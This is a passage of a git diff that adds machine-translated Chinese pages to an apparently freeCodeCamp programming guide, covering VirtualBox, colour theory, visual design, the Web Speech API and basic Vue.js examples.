+*   [tagbar](https://github.com/majutsushi/tagbar) - 在窗口中显示标签
+*   [ctrlp](https://github.com/kien/ctrlp.vim) - 模糊文件，缓冲区，mru，标签等查找程序
+*   [gitgutter](https://github.com/airblade/vim-gitgutter) - 在排水沟中显示git diff（标志栏）
+*   [逃犯](https://github.com/tpope/vim-fugitive) - Git包装
+*   [delimitMate](https://github.com/Raimondi/delimitMate) - 为引号，括号，括号等插入模式自动完成
+*   [tcomment](https://github.com/tomtom/tcomment_vim) - 评论不管语言
+*   [还有更多！](https://vimawesome.com/)
+
+#### 更多信息：
+
+*   [Github存储库](https://github.com/VundleVim/Vundle.Vim)
\ No newline at end of file
diff --git a/client/src/guide/chinese/virtualbox/index.md b/client/src/guide/chinese/virtualbox/index.md
new file mode 100644
index 0000000000..d647c962fb
--- /dev/null
+++ b/client/src/guide/chinese/virtualbox/index.md
@@ -0,0 +1,77 @@
+---
+title: VirtualBox
+localeTitle: VirtualBox的
+---
+# VirtualBox的
+
+![](https://upload.wikimedia.org/wikipedia/commons/d/d5/Virtualbox_logo.png)
+
+VirtualBox是Oracle的一个开源虚拟机程序。它允许用户在虚拟驱动器上虚拟安装许多操作系统，包括Windows，BSD，Linux，Solaris等。
+
+# 安装
+
+VirtualBox可以在这里下载： [VirtualBox下载](https://www.virtualbox.org/wiki/Downloads)
+
+# 建立
+
+*   要设置第一个虚拟机，请从所需的操作系统站点下载.iso文件。
+    
+*   接下来，您将点击VirtualBox中的“新建”按钮，并使用您喜欢的任何名称命名您的VM。
+    
+*   该应用程序将通过多个配置运行您。最重要的是，请注意您选择的存储空间 驱动器。这是机器文件的最大大小，它将占用您设备上的存储空间。而且，不是如何 您为计算机提供的内存很多，因为在运行VM时，这些资源将无法供主机操作系统使用。
+    
+
+有关更多信息，请访问 [VirtualBox手册第1章](https://www.virtualbox.org/manual/ch01.html)
+
+# 运行机器
+
+*   选择新VM，单击设置，然后导航到“存储”选项卡。
+    
+*   接下来，单击“Controller IDE”行上的“添加光盘驱动器”按钮。
+    
+*   选择.iso文件
+    
+*   关闭设置并点击开始！
+    
+*   现在，您的计算机将在虚拟驱动器上运行并安装操作系统。
+    
+*   在您第一次使用机器后，请返回“设置”中的“存储”选项卡。一定要删除 .iso文件，或删除空驱动器插槽。应该只有一个。
+    
+    恭喜！您已在VirtualBox中运行第一个虚拟机。
+    
+    访问 [VirtualBox手册](https://www.virtualbox.org/manual/UserManual.html) ，提供有关使用和配置计算机的更多信息。
+    
+
+Oracle VM VirtualBox是一款功能强大的跨平台虚拟化产品，适用于企业或个人用途。 VirtualBox可以作为GNU通用公共许可证（GPL）版本2下的开源软件免费获得。
+
+VirtualBox扩展了现有计算机的功能，使其可以运行多个操作系统，甚至可以在虚拟机内运行VirtualBox，运行另一个操作系统，所有这些都在同一台PC上，唯一的限制是磁盘空间和内存。
+
+VirtualBox是一个简单的解决方案：
+
+*   同时运行多个操作系统。
+*   不必重新启动即可使用正在使用的操作系统可能不支持的特定程序。
+*   更简单的软件安装
+*   可以将系统的完整设置打包到虚拟机中。
+*   测试和灾难恢复
+*   可以自由地试验计算环境，而不会影响虚拟机之外的任何事物。
+*   基础设施整合
+*   虚拟化可显着降低硬件和电力成本。
+
+虚拟盒支持各种操作系统：
+
+*   视窗
+*   Linux的
+*   苹果
+*   Solaris主机
+*   除了大量的客户操作系统： （包括但不仅限于）：
+*   Windows（NT 4.0,2000，XP，Server 2003，Vista，Windows 7，Windows 8，Windows 10）
+*   DOS / Windows 3.x.
+*   Linux（2.4,2.6,3.x和4.x）
+*   Solaris和OpenSolaris
+*   OS / 2
+*   OpenBSD系统
+
+#### 更多信息：
+
+*   [virtualbox.org](https://www.virtualbox.org)
+*   [如何使用vagrant设置本地linux环境](https://medium.com/@JohnFoderaro/how-to-set-up-a-local-linux-environment-with-vagrant-163f0ba4da77)
\ No newline at end of file
diff --git a/client/src/guide/chinese/virtualbox/install-virtualbox-on-macos/index.md b/client/src/guide/chinese/virtualbox/install-virtualbox-on-macos/index.md
new file mode 100644
index 0000000000..b9c6097f37
--- /dev/null
+++ b/client/src/guide/chinese/virtualbox/install-virtualbox-on-macos/index.md
@@ -0,0 +1,31 @@
+---
+title: Install VirtualBox On macOS
+localeTitle: 在macOS上安装VirtualBox
+---
+## 在macOS上安装VirtualBox
+
+### 第1步 - 访问VirtualBox官方网站并下载
+
+[在这里](https://www.virtualbox.org/wiki/Downloads)访问该网站。您将看到以下页面。单击“OS X主机”并自动下载dmg文件，该文件包含VirtualBox App。
+
+![VirtualBox官方网站](https://i.imgur.com/O16uc8E.png)
+
+### 第2步 - 单击dmg文件
+
+单击刚刚下载的dmg文件，您将看到验证屏幕。双击名称为“VirtualBox.pkg”的框图标。这将显示安装屏幕。
+
+![dmg文件已打开](https://i.imgur.com/AyvSsLk.png)
+
+### 第3步 - 安装VirtualBox
+
+当您看到与下图相似的屏幕时。您可以单击“下一步”直到安装完成。
+
+**注意** ：它会注意到您的macOS不允许未知来源。如果看到提示框，请按设置按钮而不是“确定”按钮。您可以在设置中选择`allow`选项并重新启动安装。
+
+![安装窗口](https://i.imgur.com/4RY0hVu.png)
+
+### 运行VirtualBox
+
+安装完成后，您可以在“Launchpad”中打开VirtualBox。或者在Spotlight中搜索`VirtualBox` 。
+
+![使用VirtualBox启动板](https://i.imgur.com/hsEjqfm.png)
\ No newline at end of file
diff --git a/client/src/guide/chinese/visual-design/color-theory/color-and-culture/index.md b/client/src/guide/chinese/visual-design/color-theory/color-and-culture/index.md
new file mode 100644
index 0000000000..17df3c7eda
--- /dev/null
+++ b/client/src/guide/chinese/visual-design/color-theory/color-and-culture/index.md
@@ -0,0 +1,19 @@
+---
+title: Color and Culture in Visual Design
+localeTitle: 视觉设计中的色彩与文化
+---
+## 视觉设计中的色彩与文化
+
+颜色有助于并影响环境。 风水接受这一原则，无论是西方的当代家居装饰策略，还是中国传统习俗的一部分。 从这一点来看，谁可能不同意文化和心理学影响信息背景下的色彩解释的前提？ 特定的颜色组合也可以表示符号，例如国旗的颜色，喜欢的运动队，学校或机构。
+
+颜色是观众在通信中识别和解释的第一印象之一 - 在读取字母，分析数字和解释图形之前。 这就是研究[观众](/working-in-tech/unconscious-bias/index.md)可能存在的[偏见的](/working-in-tech/unconscious-bias/index.md)重要原因。 托盘的颜色可能会改变您发布的内容的上下文和含义。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
+
+[文化中的彩虹（Wikipedia.org）](https://en.wikipedia.org/wiki/Rainbows_in_culture)
+
+[文化色彩（维基百科类别）](https://en.wikipedia.org/wiki/Category:Color_in_culture)
+
+[色彩与心理学（维基百科）](https://en.wikipedia.org/wiki/Color_psychology)
\ No newline at end of file
diff --git a/client/src/guide/chinese/visual-design/color-theory/index.md b/client/src/guide/chinese/visual-design/color-theory/index.md
new file mode 100644
index 0000000000..3b45c3bf68
--- /dev/null
+++ b/client/src/guide/chinese/visual-design/color-theory/index.md
@@ -0,0 +1,69 @@
+---
+title: Color Theory
+localeTitle: 色彩理论
+---
+## 色彩理论
+
+色彩理论是混合色彩和使用色彩实现特定视觉效果的实际应用。
+
+颜色以各种方式使用。
+
+视觉显示中的颜色选择通常受硬件，硬件上运行的软件，人眼的限制以及人类如何感知颜色的变化的限制。
+
+选择的限制也受到项目提供的人为约束的影响，例如必须符合设计风格和品牌。
+
+色轮是设计师用来指定或定位颜色的主要工具。色轮可以包括整个色谱，或者它们可以按照定义的颜色类别进行组织。
+
+您可能已经熟悉的四种主要颜色类别是原色，二次色，第三色，互补色。
+
+使用色彩理论可以帮助满足项目的要求，同时最大限度地提高文本的易读性和内容对具有不同观看特征或需求的观众的可访问性。
+
+### 色轮或拾色器
+
+色轮或拾取器是设计者用来指定或定位颜色的工具。 拾色器可以包括色谱，或者它们可以通过限定的光类别（例如亮度和色调）来组织。
+
+**原色**
+
+在艺术和插图中，颜色传统上分为三类：原色，二次色和第三色。 原色是不能通过其他颜色的任何组合混合或形成的颜色。 二次色是通过混合两种原色形成的。 三原色是通过混合所有三种原色形成的。
+
+在传统绘画中，颜色是红色，黄色和蓝色（RYB）。 所有其他颜色都来自这三种颜色。 每种原色的实际色调会影响可用的颜色范围。
+
+计算机视觉显示器通常使用不同的三原色组来近似颜色：红色，绿色和蓝色（RGB）。 显示的每种颜色都是由改变原色的亮度组成的。
+
+计算机打印机通常使用四种基色来表示颜色。 有时使用黑色作为造影剂来增加对比度范围。 原色Cyan，Magenta，Yellow和Key（CMYK）的组合很常见。 “Key”代表黑色。 关键是印记组合最重要印象的传统术语。
+
+### 色彩心理学
+
+色彩心理学研究色彩如何影响人类的情绪和行为。为设计选择的颜色可以影响设计 成功的产品是。
+
+**互补色：** 红绿色，黄紫色，蓝橙色 这些是通过在色轮上混合彼此对立的颜色而形成的颜色。
+
+在网页设计中，颜色也带有需要理解的内涵和含义，否则你可能会引起混淆。非数字空间中的红色，如快餐店，带有能量或兴奋的含义。然而，在网络上，红色也带有用户提交错误的暗示。这个颜色如何在某些设置中表示某些事物的例子应该是一个关键的提醒，以了解查看页面的人将如何解释您所做的颜色选择。
+
+### 网页颜色
+
+Web标准包括HTML，CSS和图形文件格式：jpeg，PNG，GIF和SVG使用红色，绿色和蓝色的原色。 每种技术或设备显示略微不同的原色色调。 例如，一台显示器上的纯红色可能在另一台显示器上看起来更粉红或橙色。 这些差异增加了尝试在计算机屏幕上描绘准确颜色的复杂性。 这是一个重要问题，例如，在尝试：
+
+*   代表具有特定色调的产品，或
+*   代表彩虹，或
+*   用具有不同重要程度的消息警告用户。
+
+网页设计，广告和人机界面启发式技术也认识到颜色具有文化内涵和含义。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
+
+[基本色彩理论工作表](http://lfhs.lfcisd.net/UserFiles/Servers/Server_904/File/ECCastillo/Color%20Theory%20Worksheet.pdf)
+
+[色彩心理学维基](https://en.wikipedia.org/wiki/Color_psychology)
+
+[RGB中的光谱或近光谱颜色表](https://en.wikipedia.org/wiki/Spectral_color#Table_of_spectral_or_near-spectral_colors)
+
+[颜色和可用性](/visual-design/color-theory/usability/index.md)
+
+[色彩与文化](/visual-design/color-theory/color-and-culture/index.md)
+
+[如何使用颜色获得专业外观](https://www.webdesignerdepot.com/2009/12/how-to-get-a-professional-look-with-color/)
+
+[它唯一的颜色](https://robots.thoughtbot.com/Its-only-color)
\ No newline at end of file
diff --git a/client/src/guide/chinese/visual-design/color-theory/usability/index.md b/client/src/guide/chinese/visual-design/color-theory/usability/index.md
new file mode 100644
index 0000000000..d946a4dfed
--- /dev/null
+++ b/client/src/guide/chinese/visual-design/color-theory/usability/index.md
@@ -0,0 +1,40 @@
+---
+title: Color and Usability
+localeTitle: 颜色和可用性
+---
+## 颜色和可用性
+
+就像[通过视觉显示表现颜色](/visual-design/color-theory/index.md)的差异一样，人眼和大脑以各种方式解释颜色。
+
+大约有二十分之一的人有色盲。\[2\] 这几乎是十亿人！ 色盲是指将一系列不同颜色解释为一种颜色的色调。 有时一个人不知道他们会遇到色盲，因为这些颜色“看起来很正常”。 这对于字母与其背景之间的对比色以及警报有着严重的影响，例如，色彩在其中传达了重要的背景。 甚至像传递'停止'和'去'这样简单的事情也是有问题的，因为最常见的色盲形式是红色和绿色看起来相同。
+
+超过百分之一的人口有[其他类型的重大视力丧失（Wikipedia.org）](https://en.wikipedia.org/wiki/Visual_impairment) 。 损失可能包括对视觉清晰度（近视或远视）范围内的对比度，失真和限制的过敏或过小的敏感度。
+
+计算机屏幕能够显示对比度，这是纸张上可用对比度的两倍。
+
+以下是帮助应对设计挑战的指南，以适应这些差异，同时不会对他人的体验产生负面影响。 这些指南还有助于[自适应技术（Wikipedia.org）](https://en.wikipedia.org/wiki/Assistive_technology#Visual_impairments)更有效地工作。
+
+### 定义
+
+**亮度**要确定指南的亮度，请将RGB颜色值相加。如果字体具有RGB颜色（255,0,0），则表示它具有100％红色，0％绿色和蓝色光。它的亮度是255 + 0 + 0 = 255。 最大亮度为白色，255 + 255 + 255 = 765。
+
+**对比度**要确定指南的对比度，请减去两种颜色之间的_亮度_ 。
+
+### 方针
+
+1.  避免在文本中超出纸张级别的对比。文本和文本背景之间的亮度差异至少为300（如果不是400） - 对于小字体来说稍微多一点，对于较大字体则要少一些。 如果字体颜色为红色，则RGB值可能为（255,0,0），亮度为765中的255。 如果背景为黄色，则RGB值可能为（255,255,0）= 510。 510和255之间的差异是255。 此示例对比度太低，并将我们带到下一个指南。
+    
+2.  为了检查对比度和调整色盲，假设红色和绿色原色是相同的颜色。 最常见的色盲形式类似于红色和绿色。 这意味着对于重要通信的有效性，可以考虑红色RGB（255,0,0），绿色RGB（0,255,0）和“Olive”\[1\] RGB（127,127,0）的颜色基本上是相同颜色的相同颜色对比。 为了计算对比度，黄色RGB（255,255,0）的亮度是任何一种原色的两倍。 两种基色仍然产生两倍的亮度。
+    
+
+### 概要
+
+好消息是，在选择适合读者的有效颜色托盘方面仍有很多灵活性。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
+
+1.  [网页颜色（Wikipedia.org）](https://en.wikipedia.org/wiki/Web_colors#Web-safe_colors)
+    
+2.  [色盲（Wikipedia.org）](https://en.wikipedia.org/wiki/Color_blindness)
\ No newline at end of file
diff --git a/client/src/guide/chinese/visual-design/index.md b/client/src/guide/chinese/visual-design/index.md
new file mode 100644
index 0000000000..f4352eb7de
--- /dev/null
+++ b/client/src/guide/chinese/visual-design/index.md
@@ -0,0 +1,24 @@
+---
+title: Visual Design
+localeTitle: 视觉设计
+---
+## 视觉设计
+
+在本节中，我们将提供各种视觉设计概念的指南。
+
+在进行视觉设计示例，野蛮和后朋克时，可以采用各种设计方法。不同的公司在广义上有自己的设计语言。例如，Google是Material Design的大型推广者，其中设计元素看起来像具有相同流动和阴影效果的真实材料。
+
+视觉设计处理应用程序的外观。它可以被视为图形设计的数字等价物。因此，视觉设计也应该努力遵循Dieter Rams众所周知的良好设计原则。
+
+### 10优秀设计原则
+
+1.  好的设计是创新的
+2.  好的设计使产品变得有用
+3.  好的设计很美观
+4.  好的设计使产品易于理解
+5.  好的设计不引人注目
+6.  好的设计是诚实的
+7.  好的设计是持久的
+8.  良好的设计贯彻到最后的细节
+9.  好的设计是环保的
+10.  良好的设计涉及尽可能少的设计
\ No newline at end of file
diff --git a/client/src/guide/chinese/visual-design/layout/index.md b/client/src/guide/chinese/visual-design/layout/index.md
new file mode 100644
index 0000000000..7c0437f329
--- /dev/null
+++ b/client/src/guide/chinese/visual-design/layout/index.md
@@ -0,0 +1,21 @@
+---
+title: Layout
+localeTitle: 布局
+---
+## 布局
+
+布局是指给定页面上元素的排列或放置。元素可以包括功能项，例如段落，标题，列表和部分。元素还可以包括设计项，例如图标，形状和图像。在布局中也大量使用空白，填充和边距。您可以认为前者是设计特征而不是元素本身。
+
+页面的布局是将这些各种项目安排到向观看页面的人传达意义的演示中。因此，布局的主要考虑因素应该是如何理解布局以及最终传达的含义。如果不仔细考虑布局的含义，您可能会在目标受众中引起混淆和不信任。
+
+您可能犯的一个常见错误是根据您认为最佳的方式确定布局。这样做可能违反标准惯例的思想，在布局设计方面经验丰富之前应该避免这种做法。
+
+标准约定是用于描述在用户中具有行业范围的认可和一般文化接受度的技术的过程或应用的术语。 下面列出了与布局相关的这些约定的示例：
+
+*   将标题文本放置在其描述的段落之上。
+*   在页面顶部放置导航栏。
+*   使用空格分隔不同的部分和内容类型。
+*   缺少空格将部分和内容类型组合在一起。
+*   确保元素整洁有序（即两个按钮对齐，在视觉上可接受）
+*   布局简单，易于遵循和流畅
+*   使用视觉层次结构来帮助保持布局的视觉流动（尺寸，颜色，定位等）
\ No newline at end of file
diff --git a/client/src/guide/chinese/visual-design/visual-hierarchy/index.md b/client/src/guide/chinese/visual-design/visual-hierarchy/index.md
new file mode 100644
index 0000000000..1f4af45f1f
--- /dev/null
+++ b/client/src/guide/chinese/visual-design/visual-hierarchy/index.md
@@ -0,0 +1,31 @@
+---
+title: Visual Hierarchy
+localeTitle: 可视层次结构
+---
+## 可视层次结构
+
+可视层次结构是内容的组织和表示。您可以使用视觉层次结构来关注用户的注意力并显示最重要信息的位置。
+
+在创建内容的可视层次结构时，您需要记住的是它们都是相对的。您要突出显示的部分应该从内容的其他部分中脱颖而出。
+
+您可以通过多种方式实现可视化层次结构，包括（但不限于）：
+
+*   尺寸
+*   颜色和对比度
+*   标题和副标题
+*   活版印刷
+*   白色或空白
+*   质地
+*   位置
+*   方向
+*   总体布局
+
+#### 更多信息：
+
+创建可视层次结构的工具： [Design School博客](https://designschool.canva.com/blog/visual-hierarchy/)
+
+6 Visual Cierarchy原理： [99个设计博客](https://99designs.com/blog/tips/6-principles-of-visual-hierarchy/)
+
+案例研究 - 使用Visual Hierarchy改进页面： [博客](http://blog.formedfunction.com/post/3029763425/on-visual-hierarchy)
+
+添加可视层次结构： [中等](https://medium.com/designed-thought/8-ways-to-add-visual-hierarchy-8820be73218a/)
\ No newline at end of file
diff --git a/client/src/guide/chinese/visual-design/wireframing/index.md b/client/src/guide/chinese/visual-design/wireframing/index.md
new file mode 100644
index 0000000000..18634d8f3d
--- /dev/null
+++ b/client/src/guide/chinese/visual-design/wireframing/index.md
@@ -0,0 +1,25 @@
+---
+title: Wireframing
+localeTitle: 线框
+---
+## 线框
+
+线框是页面界面的二维图示，专门关注内容的空间分配和优先级，可用功能和预期行为。
+
+线框图是一种在结构层面设计应用程序的方法。线框通常用于在页面上布置内容和功能，其考虑用户需求和用户旅程。由于这些原因，线框在开发过程的早期用于建立页面的基本结构，线框通常不包括任何样式，颜色或图形。线框还有助于建立网站各种模板之间的关系。
+
+查找有关Wireframing的其他资源[这里](http://www.experienceux.co.uk/faqs/what-is-wireframing/)
+
+[
+
+## 线框工具
+
+* * *
+
+](http://www.experienceux.co.uk/faqs/what-is-wireframing/)
+
+[](http://www.experienceux.co.uk/faqs/what-is-wireframing/)*   [](http://www.experienceux.co.uk/faqs/what-is-wireframing/)[奇迹](https://marvelapp.com/home)
+*   [的InVision](https://www.invisionapp.com/)
+*   [Proto App](https://proto.io/)
+*   [Lucidchart](https://www.lucidchart.com/pages/examples/wireframe_software/)
+*   [铅笔](http://pencil.evolus.vn/Default.html/)
\ No newline at end of file
diff --git a/client/src/guide/chinese/voice/index.md b/client/src/guide/chinese/voice/index.md
new file mode 100644
index 0000000000..9589b9ea83
--- /dev/null
+++ b/client/src/guide/chinese/voice/index.md
@@ -0,0 +1,91 @@
+---
+title: Voice
+localeTitle: 语音
+---
+## 语音
+
+语音识别允许受到可访问性困难（例如永久性视觉损伤或驾驶时的临时损伤）影响的用户在网站上导航内容或输入文本数据（例如表格）的能力。
+
+语音合成为网站提供了通过阅读文本向用户提供信息的能力。
+
+### Javascript Web Speech API
+
+通过[Web Speech API，](https://developer.mozilla.org/en-US/docs/Web/API/Web_Speech_API)您可以使用语音识别和语音合成将语音数据合并到Web应用程序中。
+
+#### Web Speech API的工作原理
+
+WebSpeech API使用设备的本机麦克风系统。当从预定义的语法识别出话语时（见下文），它作为结果（或结果列表）作为文本字符串返回，并且可以提供回调函数以执行进一步的动作。
+
+#### 如何使用SpeechRecognition API
+
+以下是使用SpeechRecognition API的简单示例。请注意，API是使用`new SpeechRecognition()` SpeechRecognition `new SpeechRecognition()`构造函数启动的，并在`recognition.start();`叫做。它根据收到的内容创建一个副本，然后附加到`<p class="transcript">`元素。 [单击此处查看此代码的工作演示](https://codepen.io/ashwoodall/pen/MPeyRm) 。
+
+这是将脚本附加到的HTML：
+
+```html
+
+<main class="main"> 
+  <span class="loader"></span> 
+  <p class="description">What I think you said: <p class="transcript" data-js="varValue"></p></p> 
+ 
+ </main> 
+```
+
+这是JavaScript：
+
+```javascript
+window.SpeechRecognition = window.SpeechRecognition || window.webkitSpeechRecognition; 
+ 
+ const span = document.querySelector('[data-js="varValue"]'); 
+ const main = document.querySelector('.main'); 
+ const loader = document.querySelector('.loader'); 
+ 
+ const recognition = new SpeechRecognition(); 
+ recognition.lang = 'en-US'; 
+ 
+ recognition.addEventListener('result', e => { 
+    const transcript = Array.from(e.results) 
+        .map(result => result[0].transcript) 
+ 
+    span.textContent = transcript; 
+    loader.textContent = ''; 
+ }); 
+ 
+ recognition.addEventListener('start', () => loader.textContent = 'Listening (enable your microphone)...'); 
+ 
+ recognition.addEventListener('end', recognition.start); 
+ recognition.start(); 
+```
+
+### Alexa的
+
+Alexa是亚马逊基于云的语音服务，可在亚马逊和第三方设备制造商的数千万台设备上使用。借助Alexa，您可以构建自然的语音体验，为客户提供更直观的方式来与他们每天使用的技术进行交互。 它能够进行语音交互，音乐播放，制作待办事项列表，设置闹钟，流式播客，播放有声读物，以及提供天气，交通，体育和其他实时信息，如新闻。
+
+# 亚马逊回声设备范围
+
+*   亚马逊Echo
+*   亚马逊Echo Plus
+*   亚马逊Echo Dot
+*   亚马逊Echo Look
+*   亚马逊回声秀
+*   亚马逊Echo Spot
+
+# 远场麦克风
+
+语音识别系统通常使用多个麦克风来减少混响和噪声的影响。 Echo麦克风采用六边形布局，每个顶点有一个麦克风，中心有一个麦克风。接收信号的每个麦克风之间的延迟使设备能够识别语音源并抵消来自其他方向的噪声。这是一种称为波束形成的现象。
+
+虽然最先进的语音识别系统在近距离通话麦克风条件下表现相当好，但在麦克风远离用户的情况下性能会下降。
+
+Echo捕获的音频将受到以下因素的影响： 1）扬声器的声音靠在房间的墙上， 2）来自外面的背景噪音， 3）来自设备扬声器的声学回声 4）输出音频靠在房间的墙上。
+
+# 软件
+
+平台内的软件组件包括自然语言理解（NLU）和自动语音识别（ASR）。这些软件组件可以由独立软件开发人员通过自定义编写的“技能”来利用，然后由亚马逊认证为一组标准。通过他们的应用商店，已经有超过20k的这些自定义技能可用。
+
+### IBM Watson Speech-to-Text API
+
+IBM Watson Speech-to-Text使用机器学习来实时准确地预测语音。目前支持七种不同的语言，以及现场语音和预先录制的音频。 API可以免费使用，或付费版本可用于大型应用程序。
+
+### 更多信息
+
+[Web Speech API](https://developer.mozilla.org/en-US/docs/Web/API/Web_Speech_API) [Alexa API](https://developer.amazon.com/docs/alexa-voice-service/api-overview.html) [IBM Watson API](https://www.ibm.com/watson/services/speech-to-text/)
\ No newline at end of file
diff --git a/client/src/guide/chinese/vue/control-flow/index.md b/client/src/guide/chinese/vue/control-flow/index.md
new file mode 100644
index 0000000000..d08477625d
--- /dev/null
+++ b/client/src/guide/chinese/vue/control-flow/index.md
@@ -0,0 +1,100 @@
+---
+title: Control Flow
+localeTitle: 控制流
+---
+## 控制流
+
+### 条件语句
+
+使用Vue.js，您可以决定是否在最终显示或不显示一段代码 页面，取决于某些条件。例如，想象一下表单输入 需要一个至少8个字符长的文本：如果用户输入短于8， 应该出现错误信息;但如果输入长于8，则 消息消失。
+
+但让我们举一个更简单的例子。我们想要解决一个问题 消息到柜台：
+
+```html
+
+<div id="app"> 
+  <p v-if="counter > 10"> 
+    This message is only rendered when the counter is greater than 10 
+  </p> 
+ </div> 
+```
+
+```javascript
+let app = new Vue({ 
+  el: '#app', 
+  data: { 
+    counter: 0 
+  } 
+ }); 
+```
+
+如果你去控制台并开始递增计数器，当它穿过我们的 阈值为10，将显示消息！然后，如果你递减`counter` ， 当`counter`低于10时，Vue.js将隐藏消息。为此，我们 使用了指令`v-if` 。
+
+你可能会想，如果有一个`else`为该`if` 。而且有 `v-else` 。请注意， `v-else`将始终
+
+*   期待`v-if`之前
+*   指的是页面中最接近的`v-if`
+
+让我们改变一下我们的第一个例子来实现这一点。
+
+```html
+
+<div id="app"> 
+  <p v-if="counter > 10"> 
+    This message is only rendered when the counter is greater than 10 
+  </p> 
+  <p v-else> 
+    And this is the "otherwise" option 
+  </p> 
+ </div> 
+```
+
+```javascript
+let app = new Vue({ 
+  el: '#app', 
+  data: { 
+    counter: 0 
+  } 
+ }); 
+```
+
+通过改变`counter`值来玩一点，并注意 消息显示。
+
+Vue.js也有`v-else-if`指令。
+
+### 循环
+
+Vue.js还可以帮助生成相同代码的多个副本 结构，带有循环。经典示例是动态呈现的列表。
+
+```html
+
+<div id="app"> 
+  <ul> 
+    <li v-for="item in list"> 
+      {{ item }} 
+    </li> 
+  </ul> 
+ </div> 
+```
+
+```javascript
+let app = new Vue({ 
+  el: '#app', 
+  data: { 
+    list: [ 
+      "shave", 
+      "do the dishes", 
+      "clean the sink", 
+      "pay the bill" 
+    ] 
+  } 
+ }); 
+```
+
+比插入很多`<li>`更容易。并注意每当`list` 变化，结果会相应改变。尝试一下：打开控制台和 `push`一些字符串`push`送到`list`中
+
+```javascript
+app.list.push("something else"); 
+```
+
+正如所料，现在呈现的页面有我们全新的项目！
\ No newline at end of file
diff --git a/client/src/guide/chinese/vue/declarative-rendering/index.md b/client/src/guide/chinese/vue/declarative-rendering/index.md
new file mode 100644
index 0000000000..935be093ff
--- /dev/null
+++ b/client/src/guide/chinese/vue/declarative-rendering/index.md
@@ -0,0 +1,80 @@
+---
+title: Declarative Rendering
+localeTitle: 声明性渲染
+---
+## 安装目录
+
+在我们开始之前，有几种方法可以使用Vue.js，即通过CDN和via 安装。对于第一次体验，使用CDN更容易。
+
+对于开发，请使用：
+
+```html
+
+<!-- development version, includes helpful console warnings --> 
+ <script src="https://cdn.jsdelivr.net/npm/vue/dist/vue.js"></script> 
+```
+
+跳到制作时，这个：
+
+```html
+
+<!-- production version, optimized for size and speed --> 
+ <script src="https://cdn.jsdelivr.net/npm/vue"></script> 
+```
+
+如前所述，您也可以安装`vue-cli` ，但事实并非如此 建议初学者。
+
+## 声明性渲染
+
+Vue.js是创建动态页面的绝佳工具，也是第一种进入的方式 触摸它就是所谓的声明渲染。
+
+使用术语“声明”意图将这一概念理顺 声明性语言，例如SQL：你订购的东西，它并不暗示 任何实施。 Vue.js允许您声明您想要的数据 渲染，就像那样：
+
+```html
+
+<div id="app"> 
+  {{ message }} 
+ </div> 
+```
+
+```javascript
+let app = new Vue({ 
+  el: '#app', 
+  data: { 
+    message: 'Hello, world!' 
+  } 
+ }); 
+```
+
+使用这些snipets，你告诉Vue动态渲染存储的内容 内部`message`变量。乐趣：每当`message`改变时， Vue.js设法重新加载DOM的特定部分，你看到了 更改。
+
+如果您想尝试此反应，请打开控制台并更改de值 `app.message` ，比如， `"Hello from console"` 。你注意到了变化吗？ 这页纸？
+
+`{{ ... }}`是该行为的语法：输出值 变量或表达式。例如，这也是一种有效的用途 招致`hello` ：
+
+```html
+
+<div id="app"> 
+  {{ 1 < 2 ? "hello" : "goodbye" }} 
+ </div> 
+```
+
+我们想要的是使用我们的Vue应用程序设置属性的情况 变量。您可能认为相同的语法适用，但Vue有一些东西 具体的，我们称之为“约束”。
+
+```html
+
+<div id="app"> 
+  <a v-bind:href="dynamicLink">This link</a> 
+ </div> 
+```
+
+```javascript
+let app = new Vue({ 
+  el: '#app', 
+  data: { 
+    dynamicLink: 'medium.freecodecamp.org' 
+  } 
+ } 
+```
+
+语法`v-bind`是Vue.js所谓的“指令”。这是一种设置新方式的方法 属性为将由Vue处理的标记 - 还有更多 指令，它们都以`v-`开头。
\ No newline at end of file
diff --git a/client/src/guide/chinese/vue/index.md b/client/src/guide/chinese/vue/index.md
new file mode 100644
index 0000000000..8bcd06ffaa
--- /dev/null
+++ b/client/src/guide/chinese/vue/index.md
@@ -0,0 +1,13 @@
+---
+title: Vue
+localeTitle: 视图
+---
+## 介绍
+
+Vue.js是用于构建用户界面的渐进式框架。 它的核心只关注“视图”层，并且可以轻松地与现有的库和项目集成。 但另一方面，Vue.js也可以通过与扩展集成来创建功能强大的单页面应用程序 例如`vue-router`和`vuex` 。
+
+它的主要属性如下：
+
+*   这是适用的：如果您了解基本的HTML，CSS和JavaScript - 那么您将立即在Vue.js中编写应用程序！
+*   它功能多样：您可以将它用作简单的库或功能齐全的框架
+*   它具有高性能：开箱即用，几乎不需要优化。
\ No newline at end of file
diff --git a/client/src/guide/chinese/web-augmented-reality/index.md b/client/src/guide/chinese/web-augmented-reality/index.md
new file mode 100644
index 0000000000..4fb5ca1d50
--- /dev/null
+++ b/client/src/guide/chinese/web-augmented-reality/index.md
@@ -0,0 +1,7 @@
+---
+title: Augmented Reality Development on The Web
+localeTitle: Web上的增强现实开发
+---
+## Web上的增强现实开发
+
+本节包含使用框架（如A-Frame，AR.js，Argon.js和Three.js）与增强现实应用程序开发相关的文章。 A-Frame和Three.js能够同时进行虚拟和增强现实开发，只有略微不同的设置。
\ No newline at end of file
diff --git a/client/src/guide/chinese/web-components/how-do-i-use-web-components/index.md b/client/src/guide/chinese/web-components/how-do-i-use-web-components/index.md
new file mode 100644
index 0000000000..d9a0d38d39
--- /dev/null
+++ b/client/src/guide/chinese/web-components/how-do-i-use-web-components/index.md
@@ -0,0 +1,11 @@
+---
+title: How do I use Web Components?
+localeTitle: 我如何使用Web组件？
+---
+#### 我如何使用Web组件？
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/web-components/how-do-I-use-web-components/index.md) 。
+
+这种快速风格指南有助于确保您的拉取请求被接受。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/web-components/index.md b/client/src/guide/chinese/web-components/index.md
new file mode 100644
index 0000000000..2f419d37cc
--- /dev/null
+++ b/client/src/guide/chinese/web-components/index.md
@@ -0,0 +1,34 @@
+---
+title: Web Components
+localeTitle: Web组件
+---
+## 什么是Web组件？
+
